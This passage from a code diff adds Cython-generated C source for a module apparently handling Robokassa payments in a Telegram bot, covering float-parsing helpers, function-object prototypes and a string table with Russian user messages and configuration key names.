is_signed; + length -= is_signed; + switch (PyUnicode_READ(kind, data, start)) { + #ifdef Py_NAN + case 'n': + case 'N': + if (unlikely(length != 3)) goto parse_failure; + chr = PyUnicode_READ(kind, data, start+1); + matches &= (chr == 'a') | (chr == 'A'); + chr = PyUnicode_READ(kind, data, start+2); + matches &= (chr == 'n') | (chr == 'N'); + if (unlikely(!matches)) goto parse_failure; + return (sign == '-') ? -Py_NAN : Py_NAN; + #endif + case 'i': + case 'I': + if (unlikely(length < 3)) goto parse_failure; + chr = PyUnicode_READ(kind, data, start+1); + matches &= (chr == 'n') | (chr == 'N'); + chr = PyUnicode_READ(kind, data, start+2); + matches &= (chr == 'f') | (chr == 'F'); + if (likely(length == 3 && matches)) + return (sign == '-') ? -Py_HUGE_VAL : Py_HUGE_VAL; + if (unlikely(length != 8)) goto parse_failure; + chr = PyUnicode_READ(kind, data, start+3); + matches &= (chr == 'i') | (chr == 'I'); + chr = PyUnicode_READ(kind, data, start+4); + matches &= (chr == 'n') | (chr == 'N'); + chr = PyUnicode_READ(kind, data, start+5); + matches &= (chr == 'i') | (chr == 'I'); + chr = PyUnicode_READ(kind, data, start+6); + matches &= (chr == 't') | (chr == 'T'); + chr = PyUnicode_READ(kind, data, start+7); + matches &= (chr == 'y') | (chr == 'Y'); + if (unlikely(!matches)) goto parse_failure; + return (sign == '-') ? -Py_HUGE_VAL : Py_HUGE_VAL; + case '.': case '0': case '1': case '2': case '3': case '4': case '5': case '6': case '7': case '8': case '9': + break; + default: + goto parse_failure; + } + return 0.0; +parse_failure: + return -1.0; +} +static double __Pyx_PyUnicode_AsDouble_WithSpaces(PyObject *obj) { + double value; + const char *last; + char *end; + Py_ssize_t start, length = PyUnicode_GET_LENGTH(obj); + const int kind = PyUnicode_KIND(obj); + const void* data = PyUnicode_DATA(obj); + start = 0; + while (Py_UNICODE_ISSPACE(PyUnicode_READ(kind, data, start))) + start++; + while (start < length - 1 && Py_UNICODE_ISSPACE(PyUnicode_READ(kind, data, length - 1))) + length--; + length -= start; + if (unlikely(length <= 0)) goto fallback; + value = __Pyx__PyUnicode_AsDouble_inf_nan(data, kind, start, length); + if (unlikely(value == -1.0)) goto fallback; + if (value != 0.0) return value; + if (length < 40) { + char number[40]; + last = __Pyx__PyUnicode_AsDouble_Copy(data, kind, number, start, start + length); + if (unlikely(!last)) goto fallback; + value = PyOS_string_to_double(number, &end, NULL); + } else { + char *number = (char*) PyMem_Malloc((length + 1) * sizeof(char)); + if (unlikely(!number)) goto fallback; + last = __Pyx__PyUnicode_AsDouble_Copy(data, kind, number, start, start + length); + if (unlikely(!last)) { + PyMem_Free(number); + goto fallback; + } + value = PyOS_string_to_double(number, &end, NULL); + PyMem_Free(number); + } + if (likely(end == last) || (value == (double)-1 && PyErr_Occurred())) { + return value; + } +fallback: + return __Pyx_SlowPyString_AsDouble(obj); +} +#endif +static CYTHON_INLINE double __Pyx_PyUnicode_AsDouble(PyObject *obj) { +#if PY_MAJOR_VERSION >= 3 && !CYTHON_COMPILING_IN_PYPY && CYTHON_ASSUME_SAFE_MACROS + if (unlikely(__Pyx_PyUnicode_READY(obj) == -1)) + return (double)-1; + if (likely(PyUnicode_IS_ASCII(obj))) { + const char *s; + Py_ssize_t length; + s = PyUnicode_AsUTF8AndSize(obj, &length); + return __Pyx__PyBytes_AsDouble(obj, s, length); + } + return __Pyx_PyUnicode_AsDouble_WithSpaces(obj); +#else + return __Pyx_SlowPyString_AsDouble(obj); +#endif +} + +/* pynumber_float.proto */ +static CYTHON_INLINE PyObject* __Pyx__PyNumber_Float(PyObject* obj); +#define __Pyx_PyNumber_Float(x) (PyFloat_CheckExact(x) ? __Pyx_NewRef(x) : __Pyx__PyNumber_Float(x)) + +/* PyObjectCallMethod0.proto */ +static PyObject* __Pyx_PyObject_CallMethod0(PyObject* obj, PyObject* method_name); + +/* ValidateBasesTuple.proto */ +#if CYTHON_COMPILING_IN_CPYTHON || CYTHON_COMPILING_IN_LIMITED_API || CYTHON_USE_TYPE_SPECS +static int __Pyx_validate_bases_tuple(const char *type_name, Py_ssize_t dictoffset, PyObject *bases); +#endif + +/* PyType_Ready.proto */ +CYTHON_UNUSED static int __Pyx_PyType_Ready(PyTypeObject *t); + +/* Import.proto */ +static PyObject *__Pyx_Import(PyObject *name, PyObject *from_list, int level); + +/* ImportDottedModule.proto */ +static PyObject *__Pyx_ImportDottedModule(PyObject *name, PyObject *parts_tuple); +#if PY_MAJOR_VERSION >= 3 +static PyObject *__Pyx_ImportDottedModule_WalkParts(PyObject *module, PyObject *name, PyObject *parts_tuple); +#endif + +/* ImportFrom.proto */ +static PyObject* __Pyx_ImportFrom(PyObject* module, PyObject* name); + +/* Py3UpdateBases.proto */ +static PyObject* __Pyx_PEP560_update_bases(PyObject *bases); + +/* CalculateMetaclass.proto */ +static PyObject *__Pyx_CalculateMetaclass(PyTypeObject *metaclass, PyObject *bases); + +/* SetNameInClass.proto */ +#if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x030500A1 && PY_VERSION_HEX < 0x030d0000 +#define __Pyx_SetNameInClass(ns, name, value)\ + (likely(PyDict_CheckExact(ns)) ? _PyDict_SetItem_KnownHash(ns, name, value, ((PyASCIIObject *) name)->hash) : PyObject_SetItem(ns, name, value)) +#elif CYTHON_COMPILING_IN_CPYTHON +#define __Pyx_SetNameInClass(ns, name, value)\ + (likely(PyDict_CheckExact(ns)) ? PyDict_SetItem(ns, name, value) : PyObject_SetItem(ns, name, value)) +#else +#define __Pyx_SetNameInClass(ns, name, value) PyObject_SetItem(ns, name, value) +#endif + +/* PyObjectLookupSpecial.proto */ +#if CYTHON_USE_PYTYPE_LOOKUP && CYTHON_USE_TYPE_SLOTS +#define __Pyx_PyObject_LookupSpecialNoError(obj, attr_name) __Pyx__PyObject_LookupSpecial(obj, attr_name, 0) +#define __Pyx_PyObject_LookupSpecial(obj, attr_name) __Pyx__PyObject_LookupSpecial(obj, attr_name, 1) +static CYTHON_INLINE PyObject* __Pyx__PyObject_LookupSpecial(PyObject* obj, PyObject* attr_name, int with_error); +#else +#define __Pyx_PyObject_LookupSpecialNoError(o,n) __Pyx_PyObject_GetAttrStrNoError(o,n) +#define __Pyx_PyObject_LookupSpecial(o,n) __Pyx_PyObject_GetAttrStr(o,n) +#endif + +/* Py3ClassCreate.proto */ +static PyObject *__Pyx_Py3MetaclassPrepare(PyObject *metaclass, PyObject *bases, PyObject *name, PyObject *qualname, + PyObject *mkw, PyObject *modname, PyObject *doc); +static PyObject *__Pyx_Py3ClassCreate(PyObject *metaclass, PyObject *name, PyObject *bases, PyObject *dict, + PyObject *mkw, int calculate_metaclass, int allow_py2_metaclass); + +/* PyMethodNew.proto */ +#if CYTHON_COMPILING_IN_LIMITED_API +static PyObject *__Pyx_PyMethod_New(PyObject *func, PyObject *self, PyObject *typ) { + PyObject *typesModule=NULL, *methodType=NULL, *result=NULL; + CYTHON_UNUSED_VAR(typ); + if (!self) + return __Pyx_NewRef(func); + typesModule = PyImport_ImportModule("types"); + if (!typesModule) return NULL; + methodType = PyObject_GetAttrString(typesModule, "MethodType"); + Py_DECREF(typesModule); + if (!methodType) return NULL; + result = PyObject_CallFunctionObjArgs(methodType, func, self, NULL); + Py_DECREF(methodType); + return result; +} +#elif PY_MAJOR_VERSION >= 3 +static PyObject *__Pyx_PyMethod_New(PyObject *func, PyObject *self, PyObject *typ) { + CYTHON_UNUSED_VAR(typ); + if (!self) + return __Pyx_NewRef(func); + return PyMethod_New(func, self); +} +#else + #define __Pyx_PyMethod_New PyMethod_New +#endif + +/* PyVectorcallFastCallDict.proto */ +#if CYTHON_METH_FASTCALL +static CYTHON_INLINE PyObject *__Pyx_PyVectorcall_FastCallDict(PyObject *func, __pyx_vectorcallfunc vc, PyObject *const *args, size_t nargs, PyObject *kw); +#endif + +/* CythonFunctionShared.proto */ +#define __Pyx_CyFunction_USED +#define __Pyx_CYFUNCTION_STATICMETHOD 0x01 +#define __Pyx_CYFUNCTION_CLASSMETHOD 0x02 +#define __Pyx_CYFUNCTION_CCLASS 0x04 +#define __Pyx_CYFUNCTION_COROUTINE 0x08 +#define __Pyx_CyFunction_GetClosure(f)\ + (((__pyx_CyFunctionObject *) (f))->func_closure) +#if PY_VERSION_HEX < 0x030900B1 || CYTHON_COMPILING_IN_LIMITED_API + #define __Pyx_CyFunction_GetClassObj(f)\ + (((__pyx_CyFunctionObject *) (f))->func_classobj) +#else + #define __Pyx_CyFunction_GetClassObj(f)\ + ((PyObject*) ((PyCMethodObject *) (f))->mm_class) +#endif +#define __Pyx_CyFunction_SetClassObj(f, classobj)\ + __Pyx__CyFunction_SetClassObj((__pyx_CyFunctionObject *) (f), (classobj)) +#define __Pyx_CyFunction_Defaults(type, f)\ + ((type *)(((__pyx_CyFunctionObject *) (f))->defaults)) +#define __Pyx_CyFunction_SetDefaultsGetter(f, g)\ + ((__pyx_CyFunctionObject *) (f))->defaults_getter = (g) +typedef struct { +#if CYTHON_COMPILING_IN_LIMITED_API + PyObject_HEAD + PyObject *func; +#elif PY_VERSION_HEX < 0x030900B1 + PyCFunctionObject func; +#else + PyCMethodObject func; +#endif +#if CYTHON_BACKPORT_VECTORCALL + __pyx_vectorcallfunc func_vectorcall; +#endif +#if PY_VERSION_HEX < 0x030500A0 || CYTHON_COMPILING_IN_LIMITED_API + PyObject *func_weakreflist; +#endif + PyObject *func_dict; + PyObject *func_name; + PyObject *func_qualname; + PyObject *func_doc; + PyObject *func_globals; + PyObject *func_code; + PyObject *func_closure; +#if PY_VERSION_HEX < 0x030900B1 || CYTHON_COMPILING_IN_LIMITED_API + PyObject *func_classobj; +#endif + void *defaults; + int defaults_pyobjects; + size_t defaults_size; + int flags; + PyObject *defaults_tuple; + PyObject *defaults_kwdict; + PyObject *(*defaults_getter)(PyObject *); + PyObject *func_annotations; + PyObject *func_is_coroutine; +} __pyx_CyFunctionObject; +#undef __Pyx_CyOrPyCFunction_Check +#define __Pyx_CyFunction_Check(obj) __Pyx_TypeCheck(obj, __pyx_CyFunctionType) +#define __Pyx_CyOrPyCFunction_Check(obj) __Pyx_TypeCheck2(obj, __pyx_CyFunctionType, &PyCFunction_Type) +#define __Pyx_CyFunction_CheckExact(obj) __Pyx_IS_TYPE(obj, __pyx_CyFunctionType) +static CYTHON_INLINE int __Pyx__IsSameCyOrCFunction(PyObject *func, void *cfunc); +#undef __Pyx_IsSameCFunction +#define __Pyx_IsSameCFunction(func, cfunc) __Pyx__IsSameCyOrCFunction(func, cfunc) +static PyObject *__Pyx_CyFunction_Init(__pyx_CyFunctionObject* op, PyMethodDef *ml, + int flags, PyObject* qualname, + PyObject *closure, + PyObject *module, PyObject *globals, + PyObject* code); +static CYTHON_INLINE void __Pyx__CyFunction_SetClassObj(__pyx_CyFunctionObject* f, PyObject* classobj); +static CYTHON_INLINE void *__Pyx_CyFunction_InitDefaults(PyObject *m, + size_t size, + int pyobjects); +static CYTHON_INLINE void __Pyx_CyFunction_SetDefaultsTuple(PyObject *m, + PyObject *tuple); +static CYTHON_INLINE void __Pyx_CyFunction_SetDefaultsKwDict(PyObject *m, + PyObject *dict); +static CYTHON_INLINE void __Pyx_CyFunction_SetAnnotationsDict(PyObject *m, + PyObject *dict); +static int __pyx_CyFunction_init(PyObject *module); +#if CYTHON_METH_FASTCALL +static PyObject * __Pyx_CyFunction_Vectorcall_NOARGS(PyObject *func, PyObject *const *args, size_t nargsf, PyObject *kwnames); +static PyObject * __Pyx_CyFunction_Vectorcall_O(PyObject *func, PyObject *const *args, size_t nargsf, PyObject *kwnames); +static PyObject * __Pyx_CyFunction_Vectorcall_FASTCALL_KEYWORDS(PyObject *func, PyObject *const *args, size_t nargsf, PyObject *kwnames); +static PyObject * __Pyx_CyFunction_Vectorcall_FASTCALL_KEYWORDS_METHOD(PyObject *func, PyObject *const *args, size_t nargsf, PyObject *kwnames); +#if CYTHON_BACKPORT_VECTORCALL +#define __Pyx_CyFunction_func_vectorcall(f) (((__pyx_CyFunctionObject*)f)->func_vectorcall) +#else +#define __Pyx_CyFunction_func_vectorcall(f) (((PyCFunctionObject*)f)->vectorcall) +#endif +#endif + +/* CythonFunction.proto */ +static PyObject *__Pyx_CyFunction_New(PyMethodDef *ml, + int flags, PyObject* qualname, + PyObject *closure, + PyObject *module, PyObject *globals, + PyObject* code); + +/* CLineInTraceback.proto */ +#ifdef CYTHON_CLINE_IN_TRACEBACK +#define __Pyx_CLineForTraceback(tstate, c_line) (((CYTHON_CLINE_IN_TRACEBACK)) ? c_line : 0) +#else +static int __Pyx_CLineForTraceback(PyThreadState *tstate, int c_line); +#endif + +/* CodeObjectCache.proto */ +#if !CYTHON_COMPILING_IN_LIMITED_API +typedef struct { + PyCodeObject* code_object; + int code_line; +} __Pyx_CodeObjectCacheEntry; +struct __Pyx_CodeObjectCache { + int count; + int max_count; + __Pyx_CodeObjectCacheEntry* entries; +}; +static struct __Pyx_CodeObjectCache __pyx_code_cache = {0,0,NULL}; +static int __pyx_bisect_code_objects(__Pyx_CodeObjectCacheEntry* entries, int count, int code_line); +static PyCodeObject *__pyx_find_code_object(int code_line); +static void __pyx_insert_code_object(int code_line, PyCodeObject* code_object); +#endif + +/* AddTraceback.proto */ +static void __Pyx_AddTraceback(const char *funcname, int c_line, + int py_line, const char *filename); + +/* GCCDiagnostics.proto */ +#if !defined(__INTEL_COMPILER) && defined(__GNUC__) && (__GNUC__ > 4 || (__GNUC__ == 4 && __GNUC_MINOR__ >= 6)) +#define __Pyx_HAS_GCC_DIAGNOSTIC +#endif + +/* CIntToPy.proto */ +static CYTHON_INLINE PyObject* __Pyx_PyInt_From_long(long value); + +/* FormatTypeName.proto */ +#if CYTHON_COMPILING_IN_LIMITED_API +typedef PyObject *__Pyx_TypeName; +#define __Pyx_FMT_TYPENAME "%U" +static __Pyx_TypeName __Pyx_PyType_GetName(PyTypeObject* tp); +#define __Pyx_DECREF_TypeName(obj) Py_XDECREF(obj) +#else +typedef const char *__Pyx_TypeName; +#define __Pyx_FMT_TYPENAME "%.200s" +#define __Pyx_PyType_GetName(tp) ((tp)->tp_name) +#define __Pyx_DECREF_TypeName(obj) +#endif + +/* CIntFromPy.proto */ +static CYTHON_INLINE long __Pyx_PyInt_As_long(PyObject *); + +/* CIntFromPy.proto */ +static CYTHON_INLINE int __Pyx_PyInt_As_int(PyObject *); + +/* FastTypeChecks.proto */ +#if CYTHON_COMPILING_IN_CPYTHON +#define __Pyx_TypeCheck(obj, type) __Pyx_IsSubtype(Py_TYPE(obj), (PyTypeObject *)type) +#define __Pyx_TypeCheck2(obj, type1, type2) __Pyx_IsAnySubtype2(Py_TYPE(obj), (PyTypeObject *)type1, (PyTypeObject *)type2) +static CYTHON_INLINE int __Pyx_IsSubtype(PyTypeObject *a, PyTypeObject *b); +static CYTHON_INLINE int __Pyx_IsAnySubtype2(PyTypeObject *cls, PyTypeObject *a, PyTypeObject *b); +static CYTHON_INLINE int __Pyx_PyErr_GivenExceptionMatches(PyObject *err, PyObject *type); +static CYTHON_INLINE int __Pyx_PyErr_GivenExceptionMatches2(PyObject *err, PyObject *type1, PyObject *type2); +#else +#define __Pyx_TypeCheck(obj, type) PyObject_TypeCheck(obj, (PyTypeObject *)type) +#define __Pyx_TypeCheck2(obj, type1, type2) (PyObject_TypeCheck(obj, (PyTypeObject *)type1) || PyObject_TypeCheck(obj, (PyTypeObject *)type2)) +#define __Pyx_PyErr_GivenExceptionMatches(err, type) PyErr_GivenExceptionMatches(err, type) +#define __Pyx_PyErr_GivenExceptionMatches2(err, type1, type2) (PyErr_GivenExceptionMatches(err, type1) || PyErr_GivenExceptionMatches(err, type2)) +#endif +#define __Pyx_PyErr_ExceptionMatches2(err1, err2) __Pyx_PyErr_GivenExceptionMatches2(__Pyx_PyErr_CurrentExceptionType(), err1, err2) +#define __Pyx_PyException_Check(obj) __Pyx_TypeCheck(obj, PyExc_Exception) + +/* CheckBinaryVersion.proto */ +static unsigned long __Pyx_get_runtime_version(void); +static int __Pyx_check_binary_version(unsigned long ct_version, unsigned long rt_version, int allow_newer); + +/* InitStrings.proto */ +static int __Pyx_InitStrings(__Pyx_StringTabEntry *t); + +/* #### Code section: module_declarations ### */ + +/* Module declarations from "handlers.payments.robokassa_pay" */ +/* #### Code section: typeinfo ### */ +/* #### Code section: before_global_var ### */ +#define __Pyx_MODULE_NAME "handlers.payments.robokassa_pay" +extern int __pyx_module_is_main_handlers__payments__robokassa_pay; +int __pyx_module_is_main_handlers__payments__robokassa_pay = 0; + +/* Implementation of "handlers.payments.robokassa_pay" */ +/* #### Code section: global_var ### */ +static PyObject *__pyx_builtin_range; +static PyObject *__pyx_builtin_ValueError; +/* #### Code section: string_decls ### */ +static const char __pyx_k_[] = "\320\277\320\276\320\277\320\276\320\273\320\275\320\265\320\275\320\270\320\265 \320\261\320\260\320\273\320\260\320\275\321\201\320\260"; +static const char __pyx_k_F[] = "F"; +static const char __pyx_k_e[] = "e"; +static const char __pyx_k_i[] = "i"; +static const char __pyx_k_OK[] = "OK"; +static const char __pyx_k__3[] = "\360\237\222\260 \320\222\320\262\320\265\321\201\321\202\320\270 \321\201\320\262\320\276\321\216 \321\201\321\203\320\274\320\274\321\203"; +static const char __pyx_k__4[] = "\342\254\205\357\270\217 \320\235\320\260\320\267\320\260\320\264"; +static const char __pyx_k__5[] = "\320\222\321\213\320\261\320\265\321\200\320\270\321\202\320\265 \321\201\321\203\320\274\320\274\321\203 \320\277\320\276\320\277\320\276\320\273\320\275\320\265\320\275\320\270\321\217:"; +static const char __pyx_k__6[] = "."; +static const char __pyx_k__8[] = "|"; +static const char __pyx_k__9[] = "\320\236\321\210\320\270\320\261\320\272\320\260: \320\264\320\260\320\275\320\275\321\213\320\265 \320\277\320\276\320\262\321\200\320\265\320\266\320\264\320\265\320\275\321\213."; +static const char __pyx_k_gc[] = "gc"; +static const char __pyx_k_id[] = "id"; +static const char __pyx_k_Any[] = "Any"; +static const char __pyx_k__10[] = "\320\241\321\203\320\274\320\274\320\260 \320\264\320\276\320\273\320\266\320\275\320\260 \320\261\321\213\321\202\321\214 \320\277\320\276\320\273\320\276\320\266\320\270\321\202\320\265\320\273\321\214\320\275\321\213\320\274 \321\207\320\270\321\201\320\273\320\276\320\274."; +static const char __pyx_k__12[] = "\320\235\320\265\320\272\320\276\321\200\321\200\320\265\320\272\321\202\320\275\320\276\320\265 \320\267\320\275\320\260\321\207\320\265\320\275\320\270\320\265 \321\201\321\203\320\274\320\274\321\213: "; +static const char __pyx_k__13[] = ". \320\236\321\210\320\270\320\261\320\272\320\260: "; +static const char __pyx_k__14[] = "\320\235\320\265\320\272\320\276\321\200\321\200\320\265\320\272\321\202\320\275\320\260\321\217 \321\201\321\203\320\274\320\274\320\260."; +static const char __pyx_k__15[] = "\320\237\320\276\320\277\320\276\320\273\320\275\320\265\320\275\320\270\320\265 \320\261\320\260\320\273\320\260\320\275\321\201\320\260"; +static const char __pyx_k__16[] = ": "; +static const char __pyx_k__17[] = "\320\236\320\277\320\273\320\260\321\202\320\270\321\202\321\214"; +static const char __pyx_k__18[] = "\320\222\321\213 \320\262\321\213\320\261\321\200\320\260\320\273\320\270 \320\277\320\276\320\277\320\276\320\273\320\275\320\265\320\275\320\270\320\265 \320\275\320\260 "; +static const char __pyx_k__19[] = " \321\200\321\203\320\261\320\273\320\265\320\271. \320\224\320\273\321\217 \320\276\320\277\320\273\320\260\321\202\321\213 \320\277\320\265\321\200\320\265\320\271\320\264\320\270\321\202\320\265 \320\277\320\276 \321\201\321\201\321\213\320\273\320\272\320\265 \320\275\320\270\320\266\320\265:"; +static const char __pyx_k__21[] = "\320\235\320\265\320\262\320\265\321\200\320\275\320\260\321\217 \320\277\320\276\320\264\320\277\320\270\321\201\321\214 \320\270\320\273\320\270 \320\264\320\260\320\275\320\275\321\213\320\265 \320\267\320\260\320\277\321\200\320\276\321\201\320\260."; +static const char __pyx_k__22[] = "\320\236\321\202\321\201\321\203\321\202\321\201\321\202\320\262\321\203\321\216\321\202 \320\276\320\261\321\217\320\267\320\260\321\202\320\265\320\273\321\214\320\275\321\213\320\265 \320\277\320\260\321\200\320\260\320\274\320\265\321\202\321\200\321\213."; +static const char __pyx_k__23[] = ":"; +static const char __pyx_k__25[] = "\360\237\224\231 \320\235\320\260\320\267\320\260\320\264"; +static const char __pyx_k__26[] = "\320\237\320\276\320\266\320\260\320\273\321\203\320\271\321\201\321\202\320\260, \320\262\320\262\320\265\320\264\320\270\321\202\320\265 \321\201\321\203\320\274\320\274\321\203 \320\277\320\276\320\277\320\276\320\273\320\275\320\265\320\275\320\270\321\217."; +static const char __pyx_k__29[] = "\320\235\320\265\320\272\320\276\321\200\321\200\320\265\320\272\321\202\320\275\320\260\321\217 \321\201\321\203\320\274\320\274\320\260 \320\276\321\202 \320\277\320\276\320\273\321\214\320\267\320\276\320\262\320\260\321\202\320\265\320\273\321\217 "; +static const char __pyx_k__30[] = "\320\222\320\262\320\265\320\264\320\270\321\202\320\265 \320\272\320\276\321\200\321\200\320\265\320\272\321\202\320\275\321\203\321\216 \321\201\321\203\320\274\320\274\321\203 \320\262 \321\200\321\203\320\261\320\273\321\217\321\205 (\321\206\320\265\320\273\320\276\320\265 \320\277\320\276\320\273\320\276\320\266\320\270\321\202\320\265\320\273\321\214\320\275\320\276\320\265 \321\207\320\270\321\201\320\273\320\276)."; +static const char __pyx_k__31[] = "*"; +static const char __pyx_k__42[] = "?"; +static const char __pyx_k_doc[] = "__doc__"; +static const char __pyx_k_get[] = "get"; +static const char __pyx_k_md5[] = "md5"; +static const char __pyx_k_pay[] = "pay"; +static const char __pyx_k_row[] = "row"; +static const char __pyx_k_url[] = "url"; +static const char __pyx_k_web[] = "web"; +static const char __pyx_k_User[] = "User "; +static const char __pyx_k_args[] = "args"; +static const char __pyx_k_chat[] = "chat"; +static const char __pyx_k_data[] = "data"; +static const char __pyx_k_dict[] = "__dict__"; +static const char __pyx_k_info[] = "info"; +static const char __pyx_k_link[] = "link"; +static const char __pyx_k_main[] = "__main__"; +static const char __pyx_k_name[] = "__name__"; +static const char __pyx_k_post[] = "post"; +static const char __pyx_k_send[] = "send"; +static const char __pyx_k_spec[] = "__spec__"; +static const char __pyx_k_test[] = "__test__"; +static const char __pyx_k_text[] = "text"; +static const char __pyx_k_InvId[] = "InvId"; +static const char __pyx_k_State[] = "State"; +static const char __pyx_k_await[] = "__await__"; +static const char __pyx_k_clear[] = "clear"; +static const char __pyx_k_close[] = "close"; +static const char __pyx_k_debug[] = "debug"; +static const char __pyx_k_error[] = "error"; +static const char __pyx_k_range[] = "range"; +static const char __pyx_k_split[] = "split"; +static const char __pyx_k_state[] = "state"; +static const char __pyx_k_super[] = "super"; +static const char __pyx_k_tg_id[] = "tg_id"; +static const char __pyx_k_throw[] = "throw"; +static const char __pyx_k_trial[] = "trial"; +static const char __pyx_k_types[] = "types"; +static const char __pyx_k_upper[] = "upper"; +static const char __pyx_k_OutSum[] = "OutSum"; +static const char __pyx_k_Router[] = "Router"; +static const char __pyx_k_amount[] = "amount"; +static const char __pyx_k_answer[] = "answer"; +static const char __pyx_k_config[] = "config"; +static const char __pyx_k_enable[] = "enable"; +static const char __pyx_k_exists[] = "exists"; +static const char __pyx_k_import[] = "__import__"; +static const char __pyx_k_inv_id[] = "inv_id"; +static const char __pyx_k_logger[] = "logger"; +static const char __pyx_k_module[] = "__module__"; +static const char __pyx_k_params[] = "params"; +static const char __pyx_k_router[] = "router"; +static const char __pyx_k_shp_id[] = "shp_id"; +static const char __pyx_k_status[] = "status"; +static const char __pyx_k_typing[] = "typing"; +static const char __pyx_k_InvId_2[] = ", InvId: "; +static const char __pyx_k_aiogram[] = "aiogram"; +static const char __pyx_k_aiohttp[] = "aiohttp"; +static const char __pyx_k_balance[] = "balance"; +static const char __pyx_k_builder[] = "builder"; +static const char __pyx_k_disable[] = "disable"; +static const char __pyx_k_hashlib[] = "hashlib"; +static const char __pyx_k_is_test[] = "is_test"; +static const char __pyx_k_message[] = "message"; +static const char __pyx_k_out_sum[] = "out_sum"; +static const char __pyx_k_payment[] = "_payment"; +static const char __pyx_k_prepare[] = "__prepare__"; +static const char __pyx_k_request[] = "request"; +static const char __pyx_k_session[] = "session"; +static const char __pyx_k_OutSum_2[] = "OutSum: "; +static const char __pyx_k_Response[] = "Response"; +static const char __pyx_k_database[] = "database"; +static const char __pyx_k_inv_id_2[] = ", inv_id: "; +static const char __pyx_k_qualname[] = "__qualname__"; +static const char __pyx_k_set_name[] = "__set_name__"; +static const char __pyx_k_shp_id_2[] = ", shp_id: "; +static const char __pyx_k_shp_id_3[] = ":shp_id="; +static const char __pyx_k_Robokassa[] = "Robokassa"; +static const char __pyx_k_algorithm[] = "algorithm"; +static const char __pyx_k_as_markup[] = "as_markup"; +static const char __pyx_k_hexdigest[] = "hexdigest"; +static const char __pyx_k_isenabled[] = "isenabled"; +static const char __pyx_k_key_count[] = "key_count"; +static const char __pyx_k_metaclass[] = "__metaclass__"; +static const char __pyx_k_password1[] = "password1"; +static const char __pyx_k_password2[] = "password2"; +static const char __pyx_k_robokassa[] = "robokassa"; +static const char __pyx_k_set_state[] = "set_state"; +static const char __pyx_k_FSMContext[] = "FSMContext"; +static const char __pyx_k_ValueError[] = "ValueError"; +static const char __pyx_k_amount_str[] = "amount_str"; +static const char __pyx_k_startswith[] = "startswith"; +static const char __pyx_k_StatesGroup[] = "StatesGroup"; +static const char __pyx_k_add_payment[] = "add_payment"; +static const char __pyx_k_description[] = "description"; +static const char __pyx_k_mro_entries[] = "__mro_entries__"; +static const char __pyx_k_payment_url[] = "payment_url"; +static const char __pyx_k_update_data[] = "update_data"; +static const char __pyx_k_with_amount[] = " with amount "; +static const char __pyx_k_initializing[] = "_initializing"; +static const char __pyx_k_is_coroutine[] = "_is_coroutine"; +static const char __pyx_k_payment_link[] = "payment_link"; +static const char __pyx_k_reply_markup[] = "reply_markup"; +static const char __pyx_k_HashAlgorithm[] = "HashAlgorithm"; +static const char __pyx_k_aiogram_types[] = "aiogram.types"; +static const char __pyx_k_callback_data[] = "callback_data"; +static const char __pyx_k_class_getitem[] = "__class_getitem__"; +static const char __pyx_k_description_2[] = ", description: "; +static const char __pyx_k_get_key_count[] = "get_key_count"; +static const char __pyx_k_init_subclass[] = "__init_subclass__"; +static const char __pyx_k_pay_robokassa[] = "pay_robokassa"; +static const char __pyx_k_types_Message[] = "types.Message"; +static const char __pyx_k_SignatureValue[] = "SignatureValue"; +static const char __pyx_k_add_connection[] = "add_connection"; +static const char __pyx_k_callback_query[] = "callback_query"; +static const char __pyx_k_handlers_texts[] = "handlers.texts"; +static const char __pyx_k_merchant_login[] = "merchant_login"; +static const char __pyx_k_update_balance[] = "update_balance"; +static const char __pyx_k_PAYMENT_OPTIONS[] = "PAYMENT_OPTIONS"; +static const char __pyx_k_ROBOKASSA_LOGIN[] = "ROBOKASSA_LOGIN"; +static const char __pyx_k_callback_data_2[] = "\320\237\320\276\320\273\321\203\321\207\320\265\320\275\321\213 \320\264\320\260\320\275\320\275\321\213\320\265 callback_data: "; +static const char __pyx_k_callback_data_3[] = "\320\236\321\210\320\270\320\261\320\272\320\260: callback_data \320\275\320\265 \321\201\320\276\320\276\321\202\320\262\320\265\321\202\321\201\321\202\320\262\321\203\320\265\321\202 \321\204\320\276\321\200\320\274\320\260\321\202\321\203."; +static const char __pyx_k_inline_keyboard[] = "inline_keyboard"; +static const char __pyx_k_selected_amount[] = " selected amount: "; +static const char __pyx_k_signature_value[] = "signature_value"; +static const char __pyx_k_ROBOKASSA_ENABLE[] = "ROBOKASSA_ENABLE"; +static const char __pyx_k_SignatureValue_2[] = ", SignatureValue: "; +static const char __pyx_k_confirm_keyboard[] = "confirm_keyboard"; +static const char __pyx_k_robokassa_amount[] = "robokassa_amount|"; +static const char __pyx_k_signature_string[] = "signature_string"; +static const char __pyx_k_with_balance_0_0[] = " with balance 0.0."; +static const char __pyx_k_aiogram_fsm_state[] = "aiogram.fsm.state"; +static const char __pyx_k_robokassa_webhook[] = "robokassa_webhook"; +static const char __pyx_k_Expected_signature[] = "Expected signature: "; +static const char __pyx_k_Received_signature[] = "Received signature: "; +static const char __pyx_k_asyncio_coroutines[] = "asyncio.coroutines"; +static const char __pyx_k_cline_in_traceback[] = "cline_in_traceback"; +static const char __pyx_k_expected_signature[] = "expected_signature"; +static const char __pyx_k_generate_by_script[] = "generate_by_script"; +static const char __pyx_k_ROBOKASSA_PASSWORD1[] = "ROBOKASSA_PASSWORD1"; +static const char __pyx_k_ROBOKASSA_PASSWORD2[] = "ROBOKASSA_PASSWORD2"; +static const char __pyx_k_ROBOKASSA_TEST_MODE[] = "ROBOKASSA_TEST_MODE"; +static const char __pyx_k_aiogram_fsm_context[] = "aiogram.fsm.context"; +static const char __pyx_k_types_CallbackQuery[] = "types.CallbackQuery"; +static const char __pyx_k_InlineKeyboardButton[] = "InlineKeyboardButton"; +static const char __pyx_k_InlineKeyboardMarkup[] = "InlineKeyboardMarkup"; +static const char __pyx_k_Payment_URL_for_user[] = "Payment URL for user "; +static const char __pyx_k_InlineKeyboardBuilder[] = "InlineKeyboardBuilder"; +static const char __pyx_k_ReplenishBalanceState[] = "ReplenishBalanceState"; +static const char __pyx_k_entered_custom_amount[] = " entered custom amount: "; +static const char __pyx_k_generate_payment_link[] = "generate_payment_link"; +static const char __pyx_k_Generated_payment_link[] = "Generated payment link: "; +static const char __pyx_k_aiogram_utils_keyboard[] = "aiogram.utils.keyboard"; +static const char __pyx_k_Received_webhook_params[] = "Received webhook params: "; +static const char __pyx_k_check_connection_exists[] = "check_connection_exists"; +static const char __pyx_k_check_payment_signature[] = 